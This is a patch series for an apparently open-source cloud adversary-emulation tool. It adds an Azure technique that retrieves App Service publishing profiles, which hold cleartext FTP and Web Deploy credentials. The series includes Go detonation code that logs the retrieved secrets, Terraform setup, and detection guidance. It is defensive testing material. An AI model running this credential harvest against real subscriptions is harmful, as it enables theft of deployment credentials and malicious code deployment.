From b1e299ebcc8ab8dcb3c393ed8de237090197a3a3 Mon Sep 17 00:00:00 2001 From: Arpit Jain Date: Thu, 4 Jun 2026 15:57:22 +0900 Subject: [PATCH 1/8] Add Azure technique: Retrieve App Service Publishing Credentials Adds a new Azure credential-access attack technique that retrieves an App Service publishing profile via the Microsoft.Web/sites/publishxml/action ARM operation. The publishing profile contains FTP and Web Deploy credentials in cleartext, which an attacker with read-or-higher access can use for lateral movement or to deploy code to the application host. The technique warms up a Linux Web App and an App Service plan, then calls WebAppsClient.ListPublishingProfileXMLWithSecrets from the Azure SDK during detonation. Observed in the STORM-2949 intrusion (Microsoft, May 2026). Validated with go build, go vet, go test (pkg registry/loader), and make docs. Not detonated against live Azure. Closes #871 Signed-off-by: Arpit Jain --- ...cess.app-service-publishing-credentials.md | 68 ++++++++++++ docs/attack-techniques/azure/index.md | 5 + docs/attack-techniques/list.md | 1 + docs/index.yaml | 8 ++ v2/go.mod | 1 + v2/go.sum | 2 + .../main.go | 105 ++++++++++++++++++ .../main.tf | 52 +++++++++ v2/internal/attacktechniques/main.go | 1 + 9 files changed, 243 insertions(+) create mode 100755 docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md create mode 100644 v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go create mode 100644 v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf diff --git a/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md b/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md new file mode 100755 index 000000000..8783bfd92 --- /dev/null +++ b/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md @@ -0,0 +1,68 @@ +--- +title: Retrieve App Service Publishing Credentials +--- + +# Retrieve App Service Publishing Credentials + + + idempotent + +Platform: Azure + +## Mappings + +- MITRE ATT&CK + - Credential Access + + + +## Description + + +Retrieves the publishing profile of an Azure App Service (Web App), which contains FTP and Web Deploy credentials in cleartext. + +An attacker with read-or-higher access to an App Service can call the `publishxml` ARM action to download the publishing profile, without needing access to any Key Vault or secret store. The returned XML document contains `userName` and `userPWD` attributes that grant direct FTP and Web Deploy access to the application host. These credentials can then be used for lateral movement or to deploy malicious code to the running application. + +This technique was observed in the STORM-2949 intrusion, where the threat actor harvested App Service publishing credentials to move from a compromised identity into application hosts. + +Warm-up: + +- Create an Azure App Service (Linux Web App) + +Detonation: + +- Call the `listPublishingProfileXMLWithSecrets` action on the App Service to retrieve the publishing profile containing FTP and Web Deploy credentials + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate azure.credential-access.app-service-publishing-credentials +``` +## Detection + + +Identify the Microsoft.Web/sites/publishxml/action operation in Azure Activity logs. + +Sample event (redacted for clarity): + +```json hl_lines="6" +{ + "resourceId": "/SUBSCRIPTIONS//RESOURCEGROUPS/STRATUS-RED-TEAM-ASP-CRED-RG/PROVIDERS/MICROSOFT.WEB/SITES/SRT-ASP-CRED", + "evt": { + "category": "Administrative", + "outcome": "Success", + "name": "MICROSOFT.WEB/SITES/PUBLISHXML/ACTION" + }, + "level": "Information", + "properties": { + "message": "Microsoft.Web/sites/publishxml/action", + "eventCategory": "Administrative", + "entity": "/subscriptions//resourceGroups/stratus-red-team-asp-cred-rg/providers/Microsoft.Web/sites/srt-asp-cred" + } +} +``` + +Note that this operation is logged even when the App Service has only basic (publishing) authentication disabled, since the action is evaluated before authentication settings are honored. + + diff --git a/docs/attack-techniques/azure/index.md b/docs/attack-techniques/azure/index.md index 6a3c5fbbb..0cf040345 100755 --- a/docs/attack-techniques/azure/index.md +++ b/docs/attack-techniques/azure/index.md @@ -25,6 +25,11 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Elevate to User Access Administrator at Root Scope](./azure.privilege-escalation.root-user-access-administrator.md) +## Credential Access + + - [Retrieve App Service Publishing Credentials](./azure.credential-access.app-service-publishing-credentials.md) + + ## Exfiltration - [Export Disk Through SAS URL](./azure.exfiltration.disk-export.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index dd13d89ee..3a245bebf 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -52,6 +52,7 @@ This page contains the list of all Stratus Attack Techniques. | [Create an IAM Roles Anywhere trust anchor](./AWS/aws.persistence.rolesanywhere-create-trust-anchor.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation | | [Generate temporary AWS credentials using GetFederationToken](./AWS/aws.persistence.sts-federation-token.md) | [AWS](./AWS/index.md) | Persistence | | [Change IAM user password](./AWS/aws.privilege-escalation.iam-update-user-login-profile.md) | [AWS](./AWS/index.md) | Privilege Escalation | +| [Retrieve App Service Publishing Credentials](./azure/azure.credential-access.app-service-publishing-credentials.md) | [Azure](./azure/index.md) | Credential Access | | [Execute Command on Virtual Machine using Custom Script Extension](./azure/azure.execution.vm-custom-script-extension.md) | [Azure](./azure/index.md) | Execution | | [Execute Commands on Virtual Machine using Run Command](./azure/azure.execution.vm-run-command.md) | [Azure](./azure/index.md) | Execution | | [Export Disk Through SAS URL](./azure/azure.exfiltration.disk-export.md) | [Azure](./azure/index.md) | Exfiltration | diff --git a/docs/index.yaml b/docs/index.yaml index 93b8393cb..b70003dab 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -767,6 +767,14 @@ GCP: platform: GCP isIdempotent: false Azure: + Credential Access: + - id: azure.credential-access.app-service-publishing-credentials + name: Retrieve App Service Publishing Credentials + isSlow: false + mitreAttackTactics: + - Credential Access + platform: Azure + isIdempotent: true Execution: - id: azure.execution.vm-custom-script-extension name: Execute Command on Virtual Machine using Custom Script Extension diff --git a/v2/go.mod b/v2/go.mod index b244bd5e0..a2d20dc14 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -8,6 +8,7 @@ require ( cloud.google.com/go/storage v1.62.1 github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0 github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1 + github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/appservice/armappservice/v4 v4.1.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute/v4 v4.2.1 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0 diff --git a/v2/go.sum b/v2/go.sum index 38a3e34c7..5a3416907 100644 --- a/v2/go.sum +++ b/v2/go.sum @@ -35,6 +35,8 @@ github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2 h1:yz1bePFlP5Vws5+ github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2/go.mod h1:Pa9ZNPuoNu/GztvBSKk9J1cDJW6vk/n0zLtV4mgd8N8= github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 h1:9iefClla7iYpfYWdzPCRDozdmndjTm8DXdpCzPajMgA= github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2/go.mod h1:XtLgD3ZD34DAaVIIAyG3objl5DynM3CQ/vMcbBNJZGI= +github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/appservice/armappservice/v4 v4.1.0 h1:dZurN2OdkxAZlaNw6cjEvo7uOonGFErtqQtos0RDl5Q= +github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/appservice/armappservice/v4 v4.1.0/go.mod h1:/Qjzbz3yeXizRgrwP1lbwBIYYsAuMfDRWN0P5YbYgBM= github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0 h1:Hp+EScFOu9HeCbeW8WU2yQPJd4gGwhMgKxWe+G6jNzw= github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0/go.mod h1:/pz8dyNQe+Ey3yBp/XuYz7oqX8YDNWVpPB0hH3XWfbc= github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute/v4 v4.2.1 h1:UPeCRD+XY7QlaGQte2EVI2iOcWvUYA2XY8w5T/8v0NQ= diff --git a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go new file mode 100644 index 000000000..68d78273b --- /dev/null +++ b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go @@ -0,0 +1,105 @@ +package azure + +import ( + "context" + _ "embed" + "errors" + "io" + "log" + + "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/appservice/armappservice/v4" + "github.com/datadog/stratus-red-team/v2/internal/providers" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" +) + +//go:embed main.tf +var tf []byte + +func init() { + const codeBlock = "```" + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "azure.credential-access.app-service-publishing-credentials", + FriendlyName: "Retrieve App Service Publishing Credentials", + Description: ` +Retrieves the publishing profile of an Azure App Service (Web App), which contains FTP and Web Deploy credentials in cleartext. + +An attacker with read-or-higher access to an App Service can call the ` + "`publishxml`" + ` ARM action to download the publishing profile, without needing access to any Key Vault or secret store. The returned XML document contains ` + "`userName`" + ` and ` + "`userPWD`" + ` attributes that grant direct FTP and Web Deploy access to the application host. These credentials can then be used for lateral movement or to deploy malicious code to the running application. + +This technique was observed in the STORM-2949 intrusion, where the threat actor harvested App Service publishing credentials to move from a compromised identity into application hosts. + +Warm-up: + +- Create an Azure App Service (Linux Web App) + +Detonation: + +- Call the ` + "`listPublishingProfileXMLWithSecrets`" + ` action on the App Service to retrieve the publishing profile containing FTP and Web Deploy credentials +`, + Detection: ` +Identify the Microsoft.Web/sites/publishxml/action operation in Azure Activity logs. + +Sample event (redacted for clarity): + +` + codeBlock + `json hl_lines="6" +{ + "resourceId": "/SUBSCRIPTIONS//RESOURCEGROUPS/STRATUS-RED-TEAM-ASP-CRED-RG/PROVIDERS/MICROSOFT.WEB/SITES/SRT-ASP-CRED", + "evt": { + "category": "Administrative", + "outcome": "Success", + "name": "MICROSOFT.WEB/SITES/PUBLISHXML/ACTION" + }, + "level": "Information", + "properties": { + "message": "Microsoft.Web/sites/publishxml/action", + "eventCategory": "Administrative", + "entity": "/subscriptions//resourceGroups/stratus-red-team-asp-cred-rg/providers/Microsoft.Web/sites/srt-asp-cred" + } +} +` + codeBlock + ` + +Note that this operation is logged even when the App Service has only basic (publishing) authentication disabled, since the action is evaluated before authentication settings are honored. +`, + Platform: stratus.Azure, + IsIdempotent: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.CredentialAccess}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + appServiceName := params["app_service_name"] + resourceGroup := params["resource_group_name"] + + webAppsClient, err := getAzureWebAppsClient(providers.Azure()) + if err != nil { + return errors.New("unable to instantiate Azure web apps client: " + err.Error()) + } + + log.Println("Retrieving publishing credentials for App Service " + appServiceName) + response, err := webAppsClient.ListPublishingProfileXMLWithSecrets( + context.Background(), + resourceGroup, + appServiceName, + armappservice.CsmPublishingProfileOptions{}, + nil, + ) + if err != nil { + return errors.New("unable to retrieve App Service publishing credentials: " + err.Error()) + } + defer response.Body.Close() + + publishingProfile, err := io.ReadAll(response.Body) + if err != nil { + return errors.New("unable to read App Service publishing profile: " + err.Error()) + } + + _ = publishingProfile // contains the FTP and Web Deploy credentials in cleartext + log.Println("Successfully retrieved publishing credentials for App Service " + appServiceName) + return nil +} + +func getAzureWebAppsClient(azure *providers.AzureProvider) (*armappservice.WebAppsClient, error) { + return armappservice.NewWebAppsClient(azure.SubscriptionID, azure.GetCredentials(), azure.ClientOptions) +} diff --git a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf new file mode 100644 index 000000000..d191062bf --- /dev/null +++ b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf @@ -0,0 +1,52 @@ +terraform { + required_providers { + azurerm = { + source = "hashicorp/azurerm" + version = "3.8.0" + } + } +} + +provider "azurerm" { + features {} +} + +resource "random_string" "suffix" { + length = 8 + special = false + upper = false +} + +resource "azurerm_resource_group" "rg" { + name = "stratus-red-team-asp-cred-rg-${random_string.suffix.result}" + location = "West US" +} + +resource "azurerm_service_plan" "plan" { + name = "stratus-red-team-asp-cred-plan" + resource_group_name = azurerm_resource_group.rg.name + location = azurerm_resource_group.rg.location + os_type = "Linux" + sku_name = "B1" +} + +resource "azurerm_linux_web_app" "app" { + name = "srt-asp-cred-${random_string.suffix.result}" + resource_group_name = azurerm_resource_group.rg.name + location = azurerm_service_plan.plan.location + service_plan_id = azurerm_service_plan.plan.id + + site_config {} +} + +output "app_service_name" { + value = azurerm_linux_web_app.app.name +} + +output "resource_group_name" { + value = azurerm_resource_group.rg.name +} + +output "display" { + value = format("App Service %s ready in resource group %s", azurerm_linux_web_app.app.name, azurerm_resource_group.rg.name) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 8f6a5299b..53591c888 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -44,6 +44,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/rolesanywhere-create-trust-anchor" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/sts-federation-token" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/privilege-escalation/change-iam-user-password" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-custom-script-extension" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-run-command" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/exfiltration/disk-export" From af023df47ef9cef1918f34371c750601564e6ee8 Mon Sep 17 00:00:00 2001 From: arpitjain099 Date: Wed, 24 Jun 2026 10:37:54 +0900 Subject: [PATCH 2/8] Regenerate attack-technique docs matrix Signed-off-by: arpitjain099 --- .../mitre-attack-coverage-matrices.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index 86702a6b9..86c50ba70 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -43,13 +43,13 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently

Azure

- + - - - - - + + + + +
ExecutionPersistencePrivilege EscalationExfiltrationImpact
ExecutionPersistencePrivilege EscalationCredential AccessExfiltrationImpact
Execute Command on Virtual Machine using Custom Script ExtensionBackdoor Azure Managed Identity with Federated Identity Credential (FIC)Backdoor Azure Managed Identity with Federated Identity Credential (FIC)Export Disk Through SAS URLAzure Blob Storage ransomware through Encryption Scope using client-managed Key Vault key
Execute Commands on Virtual Machine using Run CommandCreate Azure VM Bastion shareable linkElevate to User Access Administrator at Root ScopeExfiltrate Azure Storage via public accessAzure Blob Storage ransomware through Customer-Provided Encryption Keys
Exfiltrate Azure Storage through SAS URLAzure ransomware via Storage Account Blob deletion
Azure Blob Storage ransomware through Customer-Managed Key Vault key and vault deletion
Delete Azure resource lock
Execute Command on Virtual Machine using Custom Script ExtensionBackdoor Azure Managed Identity with Federated Identity Credential (FIC)Backdoor Azure Managed Identity with Federated Identity Credential (FIC)Retrieve App Service Publishing CredentialsExport Disk Through SAS URLAzure Blob Storage ransomware through Encryption Scope using client-managed Key Vault key
Execute Commands on Virtual Machine using Run CommandCreate Azure VM Bastion shareable linkElevate to User Access Administrator at Root ScopeExfiltrate Azure Storage via public accessAzure Blob Storage ransomware through Customer-Provided Encryption Keys
Exfiltrate Azure Storage through SAS URLAzure ransomware via Storage Account Blob deletion
Azure Blob Storage ransomware through Customer-Managed Key Vault key and vault deletion
Delete Azure resource lock
From 513891f2b67c160c277efaf312c3dd1acf4efcd4 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Wed, 24 Jun 2026 09:46:57 +0200 Subject: [PATCH 3/8] Add References section to App Service publishing credentials technique --- ...re.credential-access.app-service-publishing-credentials.md | 4 ++++ .../app-service-publishing-credentials/main.go | 4 ++++ 2 files changed, 8 insertions(+) diff --git a/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md b/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md index 8783bfd92..b7229f03c 100755 --- a/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md +++ b/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md @@ -33,6 +33,10 @@ This technique was observed in the STORM-2949 intrusion, where the threat actor - Call the `listPublishingProfileXMLWithSecrets` action on the App Service to retrieve the publishing profile containing FTP and Web Deploy credentials +References: + +- https://www.microsoft.com/en-us/security/blog/2026/05/18/storm-2949-turned-compromised-identity-into-cloud-wide-breach/ + ## Instructions diff --git a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go index 68d78273b..cb87a4081 100644 --- a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go +++ b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go @@ -35,6 +35,10 @@ Warm-up: Detonation: - Call the ` + "`listPublishingProfileXMLWithSecrets`" + ` action on the App Service to retrieve the publishing profile containing FTP and Web Deploy credentials + +References: + +- https://www.microsoft.com/en-us/security/blog/2026/05/18/storm-2949-turned-compromised-identity-into-cloud-wide-breach/ `, Detection: ` Identify the Microsoft.Web/sites/publishxml/action operation in Azure Activity logs. From 7a2bc307f0cf84036271eeec23ead2cbd33987f9 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Wed, 24 Jun 2026 09:48:09 +0200 Subject: [PATCH 4/8] Use fmt.Errorf with %w for error wrapping in App Service technique --- .../app-service-publishing-credentials/main.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go index cb87a4081..5847e0a73 100644 --- a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go +++ b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go @@ -3,7 +3,7 @@ package azure import ( "context" _ "embed" - "errors" + "fmt" "io" "log" @@ -78,7 +78,7 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error webAppsClient, err := getAzureWebAppsClient(providers.Azure()) if err != nil { - return errors.New("unable to instantiate Azure web apps client: " + err.Error()) + return fmt.Errorf("unable to instantiate Azure web apps client: %w", err) } log.Println("Retrieving publishing credentials for App Service " + appServiceName) @@ -90,13 +90,13 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error nil, ) if err != nil { - return errors.New("unable to retrieve App Service publishing credentials: " + err.Error()) + return fmt.Errorf("unable to retrieve App Service publishing credentials: %w", err) } defer response.Body.Close() publishingProfile, err := io.ReadAll(response.Body) if err != nil { - return errors.New("unable to read App Service publishing profile: " + err.Error()) + return fmt.Errorf("unable to read App Service publishing profile: %w", err) } _ = publishingProfile // contains the FTP and Web Deploy credentials in cleartext From 8c4af468c6f97083418029aaec996f5ca0408f5b Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Wed, 24 Jun 2026 09:53:18 +0200 Subject: [PATCH 5/8] Print retrieved App Service publishing profile in cleartext --- .../app-service-publishing-credentials/main.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go index 5847e0a73..fd4a99d4b 100644 --- a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go +++ b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go @@ -99,8 +99,8 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error return fmt.Errorf("unable to read App Service publishing profile: %w", err) } - _ = publishingProfile // contains the FTP and Web Deploy credentials in cleartext log.Println("Successfully retrieved publishing credentials for App Service " + appServiceName) + log.Println("Publishing profile (contains FTP and Web Deploy credentials in cleartext):\n" + string(publishingProfile)) return nil } From 6f28a3453281e25f81483fb080a3d1ff25b86b1e Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Wed, 24 Jun 2026 09:53:44 +0200 Subject: [PATCH 6/8] Simplify logging note in App Service publishing credentials Detection --- ...zure.credential-access.app-service-publishing-credentials.md | 2 +- .../app-service-publishing-credentials/main.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md b/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md index b7229f03c..c1bb6bf27 100755 --- a/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md +++ b/docs/attack-techniques/azure/azure.credential-access.app-service-publishing-credentials.md @@ -67,6 +67,6 @@ Sample event (redacted for clarity): } ``` -Note that this operation is logged even when the App Service has only basic (publishing) authentication disabled, since the action is evaluated before authentication settings are honored. +Note that this operation is logged even when the App Service has only basic (publishing) authentication disabled. diff --git a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go index fd4a99d4b..ed043131b 100644 --- a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go +++ b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.go @@ -62,7 +62,7 @@ Sample event (redacted for clarity): } ` + codeBlock + ` -Note that this operation is logged even when the App Service has only basic (publishing) authentication disabled, since the action is evaluated before authentication settings are honored. +Note that this operation is logged even when the App Service has only basic (publishing) authentication disabled. `, Platform: stratus.Azure, IsIdempotent: true, From 446dac0f679ebf5c10e18ce778805913706c367f Mon Sep 17 00:00:00 2001 From: Arpit Jain Date: Thu, 25 Jun 2026 01:09:27 +0900 Subject: [PATCH 7/8] Use Free tier App Service plan to avoid vCPU quota requirement The B1 (Basic) plan runs on a dedicated worker and draws from the subscription's regional vCPU quota, which fails on subscriptions where that quota is 0. The technique only needs the App Service to exist to read its publishing credentials, so the Free (F1) tier is sufficient and runs on shared infrastructure without consuming vCPU quota. Disable always_on since the Free tier does not support it. Signed-off-by: Arpit Jain --- .../app-service-publishing-credentials/main.tf | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf index d191062bf..759bc3f8c 100644 --- a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf +++ b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf @@ -27,7 +27,10 @@ resource "azurerm_service_plan" "plan" { resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location os_type = "Linux" - sku_name = "B1" + # Free tier: runs on shared infrastructure, so it does not draw from the + # subscription's regional vCPU quota. The technique only needs the App + # Service to exist to read its publishing credentials, not dedicated compute. + sku_name = "F1" } resource "azurerm_linux_web_app" "app" { @@ -36,7 +39,11 @@ resource "azurerm_linux_web_app" "app" { location = azurerm_service_plan.plan.location service_plan_id = azurerm_service_plan.plan.id - site_config {} + site_config { + # always_on is not supported on the Free tier and defaults to true for + # Linux web apps, so it must be disabled explicitly. + always_on = false + } } output "app_service_name" { From e942ff3aa6f3396df6998bb55a3d96bc1dfbbbcc Mon Sep 17 00:00:00 2001 From: Arpit Jain Date: Thu, 25 Jun 2026 03:37:07 +0900 Subject: [PATCH 8/8] Use B1 App Service plan; quota limit is subscription-level not SKU Reverting the Free tier change: the deployment failure is the subscription's regional compute quota (Total VMs: 0), not the plan SKU, so the Free tier does not avoid it. B1 is the standard choice; a subscription with compute quota (or a small quota increase) is required to run this technique. Signed-off-by: Arpit Jain --- .../app-service-publishing-credentials/main.tf | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf index 759bc3f8c..d191062bf 100644 --- a/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf +++ b/v2/internal/attacktechniques/azure/credential-access/app-service-publishing-credentials/main.tf @@ -27,10 +27,7 @@ resource "azurerm_service_plan" "plan" { resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location os_type = "Linux" - # Free tier: runs on shared infrastructure, so it does not draw from the - # subscription's regional vCPU quota. The technique only needs the App - # Service to exist to read its publishing credentials, not dedicated compute. - sku_name = "F1" + sku_name = "B1" } resource "azurerm_linux_web_app" "app" { @@ -39,11 +36,7 @@ resource "azurerm_linux_web_app" "app" { location = azurerm_service_plan.plan.location service_plan_id = azurerm_service_plan.plan.id - site_config { - # always_on is not supported on the Free tier and defaults to true for - # Linux web apps, so it must be disabled explicitly. - always_on = false - } + site_config {} } output "app_service_name" {